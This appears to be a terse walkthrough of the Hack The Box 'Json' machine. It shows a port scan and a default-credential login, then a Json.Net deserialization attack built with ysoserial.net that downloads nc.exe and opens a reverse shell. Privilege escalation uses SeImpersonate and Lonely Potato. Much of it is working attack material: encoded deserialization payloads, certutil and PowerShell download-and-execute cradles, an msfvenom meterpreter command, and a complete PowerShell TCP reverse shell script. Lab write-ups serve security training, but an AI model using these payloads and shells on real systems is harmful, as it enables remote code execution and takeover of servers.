YSOSERIEAL.NET

LONELY POTATO

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

80/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: Json HTB

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

http://10.10.10.158/login.html

Try Admin Admin And Intercept With BURP

REQUEST

POST /api/token HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/login.html
Content-Type: application/json;charset=utf-8
Content-Length: 39
Connection: close
{"UserName":"admin","Password":"admin"}

RESPONSE

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie:
OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Tue, 07-Jul-2020 22:14:32 GMT; path=/
X-Powered-By: ASP.NET
Date: Tue, 07 Jul 2020 22:12:39 GMT
Connection: close
Content-Length: 0

Checking the response, its 202 which is usually seen in API's. HTTP Status 202 indicates that request has been accepted for processing, but the processing has not been completed.

DECODING Oauth2(base64)

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

https://crackstation.net/ 21232f297a57a5a743894a0e4a801fc3 (admin)

http://10.10.10.158/index.html

Dashboard

RESPONSE

GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer:
eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Connection: close
Cookie:
OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Notice also the Bearer field is identical with the OAuth2. Since it's basically JSON values encoded in base64, which is interpreted by the C# server, I looked for vulnerabilities or attack vectors that are related to these events. Most of the links suggest a JSON Deserialization attack.

PREPARING THE PAYLOAD

root@kali:/home/kali/Desktop/htb/json# cp /usr/share/windows-resources/binaries/nc.exe .

C:\Users\lenovo\Desktop\tools\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "certutil.exe -urlcache -split -f http://10.10.14.27/nc.exe C:/Windows/System32/spool/drivers/color/nc.exe"

ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yay wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLCAKICAgICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIGNlcnR1dGlsLmV4ZSAtdXJsY2FjaGUgLXNwbGl0IC1mIGh0dHA6Ly8xMC4xMC4xNC4yNy9uYy5leGUgQzovV2luZG93cy9TeXN0ZW0zMi9zcG9vbC9kcml2ZXJzL2NvbG9yL25jLmV4ZSddCiAgICB9LAogICAgJ09iamVjdEluc3RhbmNlJzp7JyR0eXBlJzonU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknfQp9

root@kali:/home/kali/Desktop/htb/json# python -m SimpleHTTPServer 80

Serving HTTP on 0.0.0.0 port 80 ...

10.10.10.158 - - [07/Jul/2020 14:45:24] "GET /nc.exe HTTP/1.1" 200 –

C:\Users\lenovo\Desktop\tools\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "C:/Windows/System32/spool/drivers/color/nc.exe 10.10.14.27 9001 -e cmd.exe"

ewogICAgJyR0eXBlJzonU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yay wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUnLCAKICAgICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIEM6L1dpbmRvd3MvU3lzdGVtMzIvc3Bvb2wvZHJpdmVycy9jb2xvci9uYy5leGUgMTAuMTAuMTQuMjcgOTAwMSAtZSBjbWQuZXhlJ10KICAgIH0sCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9Cn0=

root@kali:/home/kali/Desktop/htb/json# nc -nlvp 9001

SHELL GAINED!!!

c:\windows\system32\inetsrv>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State

========== ========== ========

SeAssignPrimaryTokenPrivilege Replace a process level token Disabled

SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled

SeAuditPrivilege Generate security audits Disabled

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

LONELY POTATO

root@akg:/home/akg/Desktop/hackthebox/json# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f exe -o meterpreter.exe

root@akg:/home/akg/Desktop/hackthebox/json# python -m SimpleHTTPServer 80

PS C:\Users\userpool\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/LP.ps1')

ROOTED!!!!

2ND WAY TO POTATO

root@kali:/home/kali/Desktop/htb/json# cat shell.bat

powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.27/powershell-reverse-shell.ps1')

root@kali:/home/kali/Desktop/htb/json# cat powershell-reverse-shell.ps1

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.27",9003);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

root@kali:/home/kali/Desktop/htb/json# python -m SimpleHTTPServer 80

c:\Users\userpool\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/lonelypotato.exe','C:\Users\userpool\Desktop\lonelypotato.exe')
"

c:\Users\userpool\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.27/shell.bat','C:\Users\userpool\Desktop\shell.bat')"

root@kali:/home/kali/Desktop/htb/json# python -m SimpleHTTPServer 80

root@kali:/home/kali/Desktop/htb/json# nc -nlvp 9003

C:\Users\userpool\Desktop\lonelypotato.exe * C:\Users\userpool\Desktop\shell.bat